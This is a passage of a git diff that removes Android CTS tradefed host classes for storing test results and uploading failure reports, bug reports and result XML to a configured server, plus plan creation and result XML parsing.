-                DeviceInfoConstants.BUILD_ABIS_64, DeviceInfoConstants.SCREEN_SIZE);
-    }
-
-    private void combineMetrics(Map<String, String> metrics, String... keysToCombine) {
-        for (String combineKey : keysToCombine) {
-            String currentKeyValue = mMetrics.get(combineKey);
-            String valueToAdd = metrics.remove(combineKey);
-            if (valueToAdd != null) {
-                if (currentKeyValue == null) {
-                    // strange - no existing value. Can occur during unit testing
-                    mMetrics.put(combineKey, valueToAdd);
-                } else if (!currentKeyValue.equals(valueToAdd)) {
-                    // new value! store a comma separated list
-                    valueToAdd = String.format("%s,%s", currentKeyValue, valueToAdd);
-                    mMetrics.put(combineKey, valueToAdd);
-                } else {
-                    // ignore, current value is same as existing
-                }
-
-            } else {
-                CLog.d("Missing metric %s", combineKey);
-            }
-        }
-    }
-
-    private void checkMetrics(Map<String, String> metrics, String... keysToCheck) {
-        Set<String> keyCheckSet = new HashSet<String>();
-        Collections.addAll(keyCheckSet, keysToCheck);
-        for (Map.Entry<String, String> metricEntry : metrics.entrySet()) {
-            String currentValue = mMetrics.get(metricEntry.getKey());
-            if (keyCheckSet.contains(metricEntry.getKey()) && currentValue != null
-                    && !metricEntry.getValue().equals(currentValue)) {
-                CLog.e("Inconsistent info collected from devices. "
-                        + "Current result has %s='%s', Received '%s'. Are you sharding or " +
-                        "resuming a test run across different devices and/or builds?",
-                        metricEntry.getKey(), currentValue, metricEntry.getValue());
-                mMetrics.put(metricEntry.getKey(),
-                        String.format("ERROR: Inconsistent results: %s, %s",
-                                metricEntry.getValue(), currentValue));
-            } else {
-                mMetrics.put(metricEntry.getKey(), metricEntry.getValue());
-            }
-        }
-    }
-
-    /**
-     * Return the currently stored metrics.
-     * <p/>
-     * Exposed for unit testing.
-     */
-    Map<String, String> getMetrics() {
-        return mMetrics;
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/ITestResultRepo.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/ITestResultRepo.java
deleted file mode 100644
index 19b0540..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/ITestResultRepo.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import java.io.File;
-import java.util.List;
-
-/**
- * Repository for CTS results.
- */
-public interface ITestResultRepo {
-
-    /**
-     * @return the list of {@link ITestSummary}s. The index of the {@link ITestSummary} in the
-     * list is its session id
-     */
-    public List<ITestSummary> getSummaries();
-
-    /**
-     * Get the {@link TestResults} for given session id.
-     *
-     * @param sessionId the session id
-     * @return the {@link TestResults} or <code>null</null> if the result with that session id
-     * cannot be retrieved
-     */
-    public TestResults getResult(int sessionId);
-
-    /**
-     * Get the report directory for given result
-     * @param sessionId
-     * @return A {@link File} representing the report directory for the given sessionId
-     */
-    public File getReportDir(int sessionId);
-
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/ITestSummary.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/ITestSummary.java
deleted file mode 100644
index e7041ec..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/ITestSummary.java
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-/**
- * Interface for a single CTS result summary.
- */
-public interface ITestSummary {
-
-    /**
-     * @return the session id
-     */
-    public int getId();
-
-    /**
-     * @return the starting timestamp, also known as result directory name
-     */
-    public String getTimestamp();
-
-    /**
-     * @return the num of not executed tests
-     */
-    public int getNumIncomplete();
-
-    /**
-     * @return the number of failed tests
-     */
-    public int getNumFailed();
-
-    /**
-     * @return the number of passed tests
-     */
-    public int getNumPassed();
-
-    /**
-     * @return the test plan associated with result
-     */
-    public String getTestPlan();
-
-    /**
-     * Return the user-friendly displayed start time stored in result XML.
-     * <p/>
-     * Expected format: {@link TimeUtil#getTimestamp()}
-     */
-    public String getStartTime();
-
-    /**
-     * @return a comma separated list of device serials associated with result
-     */
-    public String getDeviceSerials();
-
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/IssueReporter.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/IssueReporter.java
deleted file mode 100644
index ed5f238..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/IssueReporter.java
+++ /dev/null
@@ -1,232 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.result;
-
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.result.ITestInvocationListener;
-import com.android.tradefed.result.InputStreamSource;
-import com.android.tradefed.result.LogDataType;
-import com.android.tradefed.result.TestSummary;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.util.Map;
-import java.util.concurrent.Callable;
-import java.util.concurrent.ExecutorService;
-import java.util.concurrent.Executors;
-import java.util.concurrent.TimeUnit;
-import java.util.zip.GZIPOutputStream;
-
-/**
- * Class that sends a HTTP POST multipart/form-data request containing details
- * about a test failure.
- */
-public class IssueReporter implements ITestInvocationListener {
-
-    private static final int BUGREPORT_SIZE = 500 * 1024;
-
-    private static final String PRODUCT_NAME_KEY = "buildName";
-    private static final String BUILD_TYPE_KEY = "build_type";
-    private static final String BUILD_ID_KEY = "buildID";
-
-    @Option(name = "issue-server", description = "Server url to post test failures to.")
-    private String mServerUrl;
-
-    private final ExecutorService mReporterService = Executors.newCachedThreadPool();
-
-    private Issue mCurrentIssue;
-    private String mBuildId;
-    private String mBuildType;
-    private String mProductName;
-
-    @Override
-    public void testFailed(TestIdentifier test, String trace) {
-        mCurrentIssue = new Issue();
-        mCurrentIssue.mTestName = test.toString();
-        mCurrentIssue.mStackTrace = trace;
-    }
-
-    @Override
-    public void testAssumptionFailure(TestIdentifier test, String trace) {
-        mCurrentIssue = new Issue();
-        mCurrentIssue.mTestName = test.toString();
-        mCurrentIssue.mStackTrace = trace;
-    }
-
-    @Override
-    public void testIgnored(TestIdentifier test) {
-        // TODO: ??
-    }
-
-    @Override
-    public void testLog(String dataName, LogDataType dataType, InputStreamSource dataStream) {
-        if (dataName.startsWith("bug-")) {
-            try {
-                setBugReport(dataStream);
-            } catch (IOException e) {
-                CLog.e(e);
-            }
-        }
-    }
-
-    /**
-     * Set the bug report for the current test failure. GZip it to save space.
-     * This is only called when the --bugreport option is enabled.
-     */
-    private void setBugReport(InputStreamSource dataStream) throws IOException {
-        if (mCurrentIssue != null) {
-            // Only one bug report can be stored at a time and they are gzipped to
-            // about 0.5 MB so there shoudn't be any memory leak bringing down CTS.
-            InputStream input = null;
-            try {
-                input = dataStream.createInputStream();
-                mCurrentIssue.mBugReport = getBytes(input, BUGREPORT_SIZE);
-            } finally {
-                if (input != null) {
-                    input.close();
-                }
-            }
-        } else {
-            CLog.e("setBugReport is getting called on an empty issue...");
-        }
-    }
-
-    /**
-     * @param input that will be gzipped and returne as a byte array
-     * @param size of the output expected
-     * @return the byte array with the input's data
-     * @throws IOException
-     */
-    static byte[] getBytes(InputStream input, int size) throws IOException {
-        ByteArrayOutputStream byteOutput = new ByteArrayOutputStream(size);
-        GZIPOutputStream gzipOutput = new GZIPOutputStream(byteOutput);
-        for (byte[] buffer = new byte[1024]; ; ) {
-            int numRead = input.read(buffer);
-            if (numRead < 0) {
-                break;
-            }
-            gzipOutput.write(buffer, 0, numRead);
-        }
-        gzipOutput.close();
-        return byteOutput.toByteArray();
-    }
-
-    @Override
-    public void testEnded(TestIdentifier test, Map<String, String> testMetrics) {
-        if (mCurrentIssue != null) {
-            mReporterService.submit(mCurrentIssue);
-            mCurrentIssue = null;
-        }
-    }
-
-    @Override
-    public void testRunEnded(long elapsedTime, Map<String, String> runMetrics) {
-        setDeviceMetrics(runMetrics);
-    }
-
-    /** Set device information. Populated once when the device info app runs. */
-    private void setDeviceMetrics(Map<String, String> metrics) {
-        if (metrics.containsKey(BUILD_ID_KEY)) {
-            mBuildId = metrics.get(BUILD_ID_KEY);
-        }
-        if (metrics.containsKey(BUILD_TYPE_KEY)) {
-            mBuildType = metrics.get(BUILD_TYPE_KEY);
-        }
-        if (metrics.containsKey(PRODUCT_NAME_KEY)) {
-            mProductName = metrics.get(PRODUCT_NAME_KEY);
-        }
-    }
-
-    @Override
-    public void invocationEnded(long elapsedTime) {
-        try {
-            mReporterService.shutdown();
-            if (!mReporterService.awaitTermination(1, TimeUnit.MINUTES)) {
-                CLog.i("Some issues could not be reported...");
-            }
-        } catch (InterruptedException e) {
-            CLog.e(e);
-        }
-    }
-
-    class Issue implements Callable<Void> {
-
-        private String mTestName;
-        private String mStackTrace;
-        private byte[] mBugReport;
-
-        @Override
-        public Void call() throws Exception {
-            if (isEmpty(mServerUrl)
-                    || isEmpty(mBuildId)
-                    || isEmpty(mBuildType)
-                    || isEmpty(mProductName)
-                    || isEmpty(mTestName)
-                    || isEmpty(mStackTrace)) {
-                return null;
-            }
-
-            new MultipartForm(mServerUrl)
-                    .addFormValue("productName", mProductName)
-                    .addFormValue("buildType", mBuildType)
-                    .addFormValue("buildId", mBuildId)
-                    .addFormValue("testName", mTestName)
-                    .addFormValue("stackTrace", mStackTrace)
-                    .addFormFile("bugReport", "bugreport.txt.gz", mBugReport)
-                    .submit();
-
-            return null;
-        }
-
-        private boolean isEmpty(String value) {
-            return value == null || value.trim().isEmpty();
-        }
-    }
-
-    @Override
-    public void invocationStarted(IBuildInfo buildInfo) {
-    }
-
-    @Override
-    public void testRunStarted(String id, int numTests) {
-    }
-
-    @Override
-    public void testStarted(TestIdentifier test) {
-    }
-
-    @Override
-    public void testRunFailed(String arg0) {
-    }
-
-    @Override
-    public void testRunStopped(long elapsedTime) {
-    }
-
-    @Override
-    public void invocationFailed(Throwable cause) {
-    }
-
-    @Override
-    public TestSummary getSummary() {
-        return null;
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/MultipartForm.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/MultipartForm.java
deleted file mode 100644
index f3ef0bb..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/MultipartForm.java
+++ /dev/null
@@ -1,144 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.result;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.io.OutputStreamWriter;
-import java.io.PrintWriter;
-import java.net.HttpURLConnection;
-import java.net.URL;
-import java.util.HashMap;
-import java.util.Map;
-
-/** MultipartForm builds a multipart form and submits it. */
-class MultipartForm {
-
-    private static final String FORM_DATA_BOUNDARY = "C75I55u3R3p0r73r";
-
-    private final String mServerUrl;
-
-    private final Map<String, String> mFormValues = new HashMap<String, String>();
-
-    private String mName;
-    private String mFileName;
-    private byte[] mData;
-
-    public MultipartForm(String serverUrl) {
-        mServerUrl = serverUrl;
-    }
-
-    public MultipartForm addFormValue(String name, String value) {
-        mFormValues.put(name, value);
-        return this;
-    }
-
-    public MultipartForm addFormFile(String name, String fileName, byte[] data) {
-        mName = name;
-        mFileName = fileName;
-        mData = data;
-        return this;
-    }
-
-    public void submit() throws IOException {
-        String redirectUrl = submitForm(mServerUrl);
-        if (redirectUrl != null) {
-            submitForm(redirectUrl);
-        }
-    }
-
-    /**
-     * @param serverUrl to post the data to
-     * @return a url if the server redirected to another url
-     * @throws IOException
-     */
-    private String submitForm(String serverUrl) throws IOException {
-        HttpURLConnection connection = null;
-        try {
-            URL url = new URL(serverUrl);
-            connection = (HttpURLConnection) url.openConnection();
-            connection.setInstanceFollowRedirects(false);
-            connection.setRequestMethod("POST");
-            connection.setDoOutput(true);
-            connection.setRequestProperty("Content-Type",
-                    "multipart/form-data; boundary=" + FORM_DATA_BOUNDARY);
-
-            byte[] body = getContentBody();
-            connection.setRequestProperty("Content-Length", Integer.toString(body.length));
-
-            OutputStream output = connection.getOutputStream();
-            try {
-                output.write(body);
-            } finally {
-                output.close();
-            }
-
-            // Open the stream to get a response. Otherwise request will be cancelled.
-            InputStream input = connection.getInputStream();
-            input.close();
-
-            if (connection.getResponseCode() == 302) {
-                return connection.getHeaderField("Location");
-            }
-        } finally {
-            if (connection != null) {
-                connection.disconnect();
-            }
-        }
-
-        return null;
-    }
-
-    private byte[] getContentBody() throws IOException {
-        ByteArrayOutputStream byteOutput = new ByteArrayOutputStream();
-        PrintWriter writer = new PrintWriter(new OutputStreamWriter(byteOutput));
-        writer.println();
-
-        for (Map.Entry<String, String> formValue : mFormValues.entrySet()) {
-            writeFormField(writer, formValue.getKey(), formValue.getValue());
-        }
-
-        if (mData != null) {
-            writeFormFileHeader(writer, mName, mFileName);
-            writer.flush(); // Must flush here before writing to the byte stream!
-            byteOutput.write(mData);
-            writer.println();
-        }
-        writer.append("--").append(FORM_DATA_BOUNDARY).println("--");
-        writer.flush();
-        writer.close();
-        return byteOutput.toByteArray();
-    }
-
-    private void writeFormField(PrintWriter writer, String name, String value) {
-        writer.append("--").println(FORM_DATA_BOUNDARY);
-        writer.append("Content-Disposition: form-data; name=\"").append(name).println("\"");
-        writer.println();
-        writer.println(value);
-    }
-
-    private void writeFormFileHeader(PrintWriter writer, String name, String fileName) {
-        writer.append("--").println(FORM_DATA_BOUNDARY);
-        writer.append("Content-Disposition: form-data; name=\"").append(name);
-        writer.append("\"; filename=\"").append(fileName).println("\"");
-        writer.println("Content-Type: application/x-gzip");
-        writer.println("Content-Transfer-Encoding: binary");
-        writer.println();
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/PlanCreator.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/PlanCreator.java
deleted file mode 100644
index 0926635..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/PlanCreator.java
+++ /dev/null
@@ -1,174 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import com.android.cts.tradefed.build.CtsBuildHelper;
-import com.android.cts.tradefed.testtype.CtsTest;
-import com.android.cts.tradefed.testtype.ITestPackageDef;
-import com.android.cts.tradefed.testtype.ITestPackageRepo;
-import com.android.cts.tradefed.testtype.ITestPlan;
-import com.android.cts.tradefed.testtype.TestPackageRepo;
-import com.android.cts.tradefed.testtype.TestPlan;
-import com.android.ddmlib.Log;
-import com.android.ddmlib.Log.LogLevel;
-import com.android.ddmlib.testrunner.TestIdentifier;
-import com.android.tradefed.config.ConfigurationException;
-import com.android.tradefed.config.Option;
-import com.android.tradefed.config.Option.Importance;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import java.io.BufferedOutputStream;
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.FileOutputStream;
-import java.io.IOException;
-import java.util.Collection;
-import java.util.LinkedHashSet;
-import java.util.Set;
-
-/**
- * Class for creating test plans from CTS result XML.
- */
-public class PlanCreator {
-
-    @Option (name = "plan", shortName = 'p', description = "the name of the plan to create",
-            importance=Importance.IF_UNSET)
-    private String mPlanName = null;
-
-    @Option (name = "session", shortName = 's', description = "the session id to derive from",
-            importance=Importance.IF_UNSET)
-    private Integer mSessionId = null;
-
-    @Option (name = "result", shortName = 'r',
-            description = "the result type to filter. One of pass, fail, notExecuted.",
-            importance=Importance.IF_UNSET)
-    private String mResultFilterString = null;
-
-    @Option(name = CtsTest.RUN_KNOWN_FAILURES_OPTION)
-    private boolean mIncludeKnownFailures = false;
-
-    private CtsTestStatus mResultFilter = null;
-    private TestResults mResult = null;
-
-    private File mPlanFile;
-
-    /**
-     * Create an empty {@link PlanCreator}.
-     * <p/>
-     * All {@link Option} fields must be populated via
-     * {@link com.android.tradefed.config.ArgsOptionParser}
-     */
-    public PlanCreator() {
-    }
-
-    /**
-     * Create a {@link PlanCreator} using the specified option values.
-     */
-    public PlanCreator(String planName, int session, CtsTestStatus result) {
-        mPlanName = planName;
-        mSessionId = session;
-        mResultFilterString = result.getValue();
-    }
-
-    /**
-     * Create and serialize a test plan derived from a result.
-     * <p/>
-     * {@link Option} values must all be set before this is called.
-     * @throws ConfigurationException
-     */
-    public void createAndSerializeDerivedPlan(CtsBuildHelper build, Set<String> abis)
-            throws ConfigurationException {
-        ITestPlan derivedPlan = createDerivedPlan(build, abis);
-        if (derivedPlan != null) {
-            try {
-                derivedPlan.serialize(new BufferedOutputStream(new FileOutputStream(mPlanFile)));
-            } catch (IOException e) {
-                Log.logAndDisplay(LogLevel.ERROR, "", String.format("Failed to create plan file %s",
-                        mPlanName));
-                CLog.e(e);
-            }
-        }
-    }
-
-    /**
-     * Create a test plan derived from a result.
-     * <p/>
-     * {@link Option} values must all be set before this is called.
-     *
-     * @param build
-     * @return test plan
-     * @throws ConfigurationException
-     */
-    public ITestPlan createDerivedPlan(CtsBuildHelper build, Set<String> abis)
-            throws ConfigurationException {
-        checkFields(build);
-        ITestPackageRepo pkgDefRepo =
-                new TestPackageRepo(build.getTestCasesDir(), mIncludeKnownFailures);
-        ITestPlan derivedPlan = new TestPlan(mPlanName, abis);
-        for (TestPackageResult pkg : mResult.getPackages()) {
-            Collection<TestIdentifier> filteredTests = pkg.getTestsWithStatus(mResultFilter);
-            String pkgId = pkg.getId();
-            ITestPackageDef pkgDef = pkgDefRepo.getTestPackage(pkgId);
-            if (pkgDef != null) {
-                Collection<TestIdentifier> excludedTests =
-                        new LinkedHashSet<TestIdentifier>(pkgDef.getTests());
-                excludedTests.removeAll(filteredTests);
-                derivedPlan.addPackage(pkgId);
-                derivedPlan.addExcludedTests(pkgId, excludedTests);
-            } else {
-                CLog.e("Could not find package %s in repository", pkgId);
-            }
-        }
-        return derivedPlan;
-    }
-
-    /**
-     * Check that all {@Option}s have been populated with valid values.
-     * @param build
-     * @throws ConfigurationException if any option has an invalid value
-     */
-    private void checkFields(CtsBuildHelper build) throws ConfigurationException {
-        if (mSessionId == null) {
-            throw new ConfigurationException("Missing --session argument");
-        }
-        ITestResultRepo repo = new TestResultRepo(build.getResultsDir());
-        mResult = repo.getResult(mSessionId);
-        if (mResult == null) {
-            throw new ConfigurationException(String.format("Could not find session with id %d",
-                    mSessionId));
-        }
-        if (mResultFilterString == null) {
-            throw new ConfigurationException("Missing --result argument");
-        }
-        mResultFilter = CtsTestStatus.getStatus(mResultFilterString);
-        if (mResultFilter == null) {
-            throw new ConfigurationException(
-                    "Invalid result argument. Expected one of pass,fail,notExecuted");
-        }
-        if (mPlanName == null) {
-            throw new ConfigurationException("Missing --plan argument");
-        }
-        try {
-            mPlanFile = build.getTestPlanFile(mPlanName);
-            if (mPlanFile.exists()) {
-                throw new ConfigurationException(String.format("Test plan %s already exists",
-                        mPlanName));
-            }
-        } catch (FileNotFoundException e) {
-            throw new ConfigurationException("Could not find plans directory");
-        }
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/ResultReporter.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/ResultReporter.java
deleted file mode 100644
index 39969d3..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/ResultReporter.java
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.tradefed.result;
-
-import java.io.File;
-import java.io.FileInputStream;
-import java.io.IOException;
-import java.io.InputStream;
-
-import javax.annotation.Nullable;
-
-/**
- * Class that sends a HTTP POST multipart/form-data request containing
- * the test result XML.
- */
-class ResultReporter {
-
-    private static final int RESULT_XML_BYTES = 500 * 1024;
-
-    private final String mServerUrl;
-    private final String mSuiteName;
-
-    ResultReporter(String serverUrl, String suiteName) {
-        mServerUrl = serverUrl;
-        mSuiteName = suiteName;
-    }
-
-    public void reportResult(File reportFile, @Nullable String referenceUrl) throws IOException {
-        if (isEmpty(mServerUrl)) {
-            return;
-        }
-
-        InputStream input = new FileInputStream(reportFile);
-        try {
-            byte[] data = IssueReporter.getBytes(input, RESULT_XML_BYTES);
-            MultipartForm multipartForm = new MultipartForm(mServerUrl)
-                    .addFormValue("suite", mSuiteName)
-                    .addFormFile("resultXml", "testResult.xml.gz", data);
-            if (!isEmpty(referenceUrl)) {
-                multipartForm.addFormValue("referenceUrl", referenceUrl);
-            }
-            multipartForm.submit();
-        } finally {
-            input.close();
-        }
-    }
-
-    private static boolean isEmpty(String value) {
-        return value == null || value.trim().isEmpty();
-    }
-}
diff --git a/tools/tradefed-host/src/com/android/cts/tradefed/result/Test.java b/tools/tradefed-host/src/com/android/cts/tradefed/result/Test.java
deleted file mode 100644
index e25ea5a..0000000
--- a/tools/tradefed-host/src/com/android/cts/tradefed/result/Test.java
+++ /dev/null
@@ -1,261 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.tradefed.result;
-
-import com.android.compatibility.common.util.MetricsXmlSerializer;
-import com.android.compatibility.common.util.ReportLog;
-import com.android.cts.tradefed.result.TestLog.TestLogType;
-
-import org.kxml2.io.KXmlSerializer;
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.IOException;
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Data structure that represents a "Test" result XML element.
- */
-class Test extends AbstractXmlPullParser {
-    static final String TAG = "Test";
-    private static final String NAME_ATTR = "name";
-    private static final String MESSAGE_ATTR = "message";
-    private static final String ENDTIME_ATTR = "endtime";
-    private static final String STARTTIME_ATTR = "starttime";
-    private static final String RESULT_ATTR = "result";
-    private static final String SCENE_TAG = "FailedScene";
-    private static final String STACK_TAG = "StackTrace";
-    private String mName;
-    private CtsTestStatus mResult;
-    private String mStartTime;
-    private String mEndTime;
-    private String mMessage;
-    private String mStackTrace;
-    private ReportLog mReport;
-
-    /**
-     * Log info for this test like a logcat dump or bugreport.
-     * Use *Locked methods instead of mutating this directly.
-     */
-    private List<TestLog> mTestLogs;
-
-    /**
-     * Create an empty {@link Test}
-     */
-    public Test() {
-    }
-
-    /**
-     * Create a {@link Test}.
-     *
-     * @param name
-     */
-    public Test(String name) {
-        mName = name;
-        mResult = CtsTestStatus.NOT_EXECUTED;
-        mStartTime = TimeUtil.getTimestamp();
-        updateEndTime();
-    }
-
-    /**
-     * Add a test log to this Test.
-     */
-    public void addTestLog(TestLog testLog) {
-        addTestLogLocked(testLog);
-    }
-
-    /**
-     * Set the name of this {@link Test}
-     */
-    public void setName(String name) {
-        mName = name;
-    }
-
-    /**
-     * Get the name of this {@link Test}
-     */
-    public String getName() {
-        return mName;
-    }
-
-    public CtsTestStatus getResult() {
-        return mResult;
-    }
-
-    public String getMessage() {
-        return mMessage;
-    }
-
-    public void setMessage(String message) {
-        mMessage = message;
-    }
-
-    public String getStartTime() {
-        return mStartTime;
-    }
-
-    public String getEndTime() {
-        return mEndTime;
-    }
-
-    public String getStackTrace() {
-        return mStackTrace;
-    }
-
-    public void setStackTrace(String stackTrace) {
-
-        mStackTrace = sanitizeStackTrace(stackTrace);
-        mMessage = getFailureMessageFromStackTrace(mStackTrace);
-    }
-
-    public ReportLog getReportLog() {
-        return mReport;
-    }
-
-    public void setReportLog(ReportLog report) {
-        mReport = report;
-    }
-
-    public void updateEndTime() {
-        mEndTime = TimeUtil.getTimestamp();
-    }
-
-    public void setResultStatus(CtsTestStatus status) {
-        mResult = status;
-    }
-
-    /**
-     * Serialize this object and all its contents to XML.
-     *
-     * @param serializer
-     * @throws IOException
-     */
-    public void serialize(KXmlSerializer serializer)
-            throws IOException {
-        serializer.startTag(CtsXmlResultReporter.ns, TAG);
-        serializer.attribute(CtsXmlResultReporter.ns, NAME_ATTR, getName());
-        serializer.attribute(CtsXmlResultReporter.ns, RESULT_ATTR, mResult.getValue());
-        serializer.attribute(CtsXmlResultReporter.ns, STARTTIME_ATTR, mStartTime);
-        serializer.attribute(CtsXmlResultReporter.ns, ENDTIME_ATTR, mEndTime);
-
-        serializeTestLogsLocked(serializer);
-
-        if (mMessage != null) {
-            serializer.startTag(CtsXmlResultReporter.ns, SCENE_TAG);
-            serializer.attribute(CtsXmlResultReporter.ns, MESSAGE_ATTR, mMessage);
-            if (mStackTrace != null) {
-                serializer.startTag(CtsXmlResultReporter.ns, STACK_TAG);
-                serializer.text(mStackTrace);
-                serializer.endTag(CtsXmlResultReporter.ns, STACK_TAG);
-            }
-            serializer.endTag(CtsXmlResultReporter.ns, SCENE_TAG);
-        }
-        MetricsXmlSerializer metricsXmlSerializer = new MetricsXmlSerializer(serializer);
-        metricsXmlSerializer.serialize(mReport);
-        serializer.endTag(CtsXmlResultReporter.ns, TAG);
-    }
-
-    /**
-     * Strip out any invalid XML characters that might cause the report to be unviewable.
-     * http://www.w3.org/TR/REC-xml/#dt-character
-     */
-    private static String sanitizeStackTrace(String trace) {
-        if (trace != null) {
-            return trace.replaceAll("[^\\u0009\\u000A\\u000D\\u0020-\\uD7FF\\uE000-\\uFFFD]", "");
-        } else {
-            return null;
-        }
-    }
-
-    /**
-     * Gets the failure message to show from the stack trace.
-     * <p/>
-     * Exposed for unit testing
-     *
-     * @param stack the full stack trace
-     * @return the failure message
-     */
-    static String getFailureMessageFromStackTrace(String stack) {
-        // return the first two lines of stack as failure message
-        int endPoint = stack.indexOf('\n');
-        if (endPoint != -1) {
-            int nextLine = stack.indexOf('\n', endPoint + 1);
-            if (nextLine != -1) {
-                return stack.substring(0, nextLine);
-            }
-        }
-        return stack;
-    }
-
-    /**
-     * Populates this class with test result data parsed from XML.
-     *
-     * @param parser the {@link XmlPullParser}. Expected to be pointing at start
-     *            of a Test tag
-     */
-    @Override
-    void parse(XmlPullParser parser) throws XmlPullParserException, IOException {
-        if (!parser.getName().equals(TAG)) {
-            throw new XmlPullParserException(String.format(
-                    "invalid XML: Expected %s tag but received %s", TAG, parser.getName()));
-        }
-        setName(getAttribute(parser, NAME_ATTR));
-        mResult = CtsTestStatus.getStatus(getAttribute(parser, RESULT_ATTR));
-        mStartTime = getAttribute(parser, STARTTIME_ATTR);
-        mEndTime = getAttribute(parser, ENDTIME_ATTR);
-
-        int eventType = parser.next();
-        while (eventType != XmlPullParser.END_DOCUMENT) {
-            if (eventType == XmlPullParser.START_TAG && parser.getName().equals(SCENE_TAG)) {
-                mMessage = getAttribute(parser, MESSAGE_ATTR);
-            } else if (eventType == XmlPullParser.START_TAG && parser.getName().equals(STACK_TAG)) {
-                mStackTrace = parser.nextText();
-            } else if (eventType == XmlPullParser.START_TAG && TestLog.isTag(parser.getName())) {
-                parseTestLog(parser);
-            } else if (eventType == XmlPullParser.END_TAG && parser.getName().equals(TAG)) {
-                return;
-            }
-            eventType = parser.next();
-        }
-    }
-
-    /** Parse a TestLog entry from the parser positioned at a TestLog tag. */
